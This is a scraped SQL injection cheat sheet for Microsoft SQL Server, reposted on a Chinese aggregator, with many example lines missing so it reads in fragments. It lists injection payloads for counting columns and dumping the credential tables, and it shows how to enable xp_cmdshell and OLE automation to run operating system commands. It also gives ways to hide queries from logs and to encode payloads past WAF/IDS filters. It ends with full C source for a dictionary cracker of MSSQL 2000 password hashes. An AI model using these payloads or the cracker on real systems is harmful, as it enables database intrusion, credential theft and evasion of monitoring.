pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Availalble from MSSQL 2000 and higher |
The following can be used to comment out the rest of the query after your injection:
/* | C-style comment |
-- | SQL comment |
;%00 | Nullbyte |
Example:
Example:
Note:
Database..Table | master..syslogins, master..sysprocesses |
Columns | name, loginame |
Current User | user, system_user, suser_sname(), is_srvrolemember(‘sysadmin‘) |
Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
Example:
Database.Table | master..sysdatabases |
Column | name |
Current DB | DB_NAME(i) |
Examples:
@@SERVERNAME |
SERVERPROPERTY() |
Examples:
Note:
ORDER BY n+1;
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = ‘1‘;
1‘ ORDER BY 1-- | True |
1‘ ORDER BY 2-- | True |
1‘ ORDER BY 3-- | True |
1‘ ORDER BY 4-- | False - Query is only using 3 columns |
-1‘ UNION SELECT 1,2,3-- | True |
Note:
The following can be used to get the columns in the current query.
GROUP BY / HAVING
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = ‘1‘;
1‘ HAVING 1=1-- | Column ‘Users.username‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1‘ GROUP BY username HAVING 1=1-- | Column ‘Users.password‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1‘ GROUP BY username, password HAVING 1=1-- | Column ‘Users.permission‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1‘ GROUP BY username, password, permission HAVING 1=1-- | No Error |
Note:
We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.
Note:
We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.
An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.
SELECT table_name %2b ‘, ‘ FROM information_schema.tables FOR XML PATH(‘‘) | SQL Server 2005+ |
Note:
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) |
SELECT CONCAT(‘a‘,‘a‘,‘a‘); (SQL SERVER 2012) |
SELECT ‘a‘+‘d‘+‘mi‘+‘n‘; |
IF |
CASE |
Examples:
Note:
Example:
SELECT * FROM OPENROWSET(‘SQLOLEDB‘, ‘127.0.0.1‘;‘sa‘;‘p4ssw0rd‘, ‘SET FMTONLY OFF execute master..xp_cmdshell "dir"‘); |
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:
EXEC sp_configure ‘show advanced options‘, 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure ‘xp_cmdshell‘, 1 |
EXEC sp_configure reconfigure |
Alternatively, you can create your own procedure to achieve the same results:
DECLARE @execmd INT |
EXEC SP_OACREATE ‘wscript.shell‘, @execmd OUTPUT |
EXEC SP_OAMETHOD @execmd, ‘run‘, null, ‘%systemroot%\system32\cmd.exe /c‘ |
If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:
EXEC sp_configure ‘show advanced options‘, 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure ‘OLE Automation Procedures‘, 1 |
EXEC sp_configure reconfigure |
Example:
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
Example:
Output:
-- ‘sp_password‘ was found in the text of this event. -- The text has been replaced with this comment for security reasons.
MSSQL supports stacked queries.
Example:
The following characters can be used as whitespaces.
01 | Start of Heading |
02 | Start of Text |
03 | End of Text |
04 | End of Transmission |
05 | Enquiry |
06 | Acknowledge |
07 | Bell |
08 | Backspace |
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
0E | Shift Out |
0F | Shift In |
10 | Data Link Escape |
11 | Device Control 1 |
12 | Device Control 2 |
13 | Device Control 3 |
14 | Device Control 4 |
15 | Negative Acknowledge |
16 | Synchronous Idle |
17 | End of Transmission Block |
18 | Cancel |
19 | End of Medium |
1A | Substitute |
1B | Escape |
1C | File Separator |
1D | Group Separator |
1E | Record Separator |
1F | Unit Separator |
20 | Space |
25 | % |
Examples:
Note:
The following characters can be also used to avoid the use of spaces.
22 | " |
28 | ( |
29 | ) |
5B | [ |
5D | ] |
Examples:
01 - 20 | Range |
21 | ! |
2B | + |
2D | - |
2E | . |
5C | \ |
7E | ~ |
Example:
Note:
Encoding your injection can sometimes be useful for WAF/IDS evasion.
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Hex Encoding | ‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457 |
A Metasploit module for JTR can be found here.
This tool is designed to crack Microsoft SQL Server 2000 passwords.
///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== ‘x‘ || hash[1] == ‘X‘)) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn‘t find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We‘ve found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }
SQL Injection 字典 - MSSQL,布布扣,bubuko.com
原文:http://www.cnblogs.com/shengxinking/p/3854263.html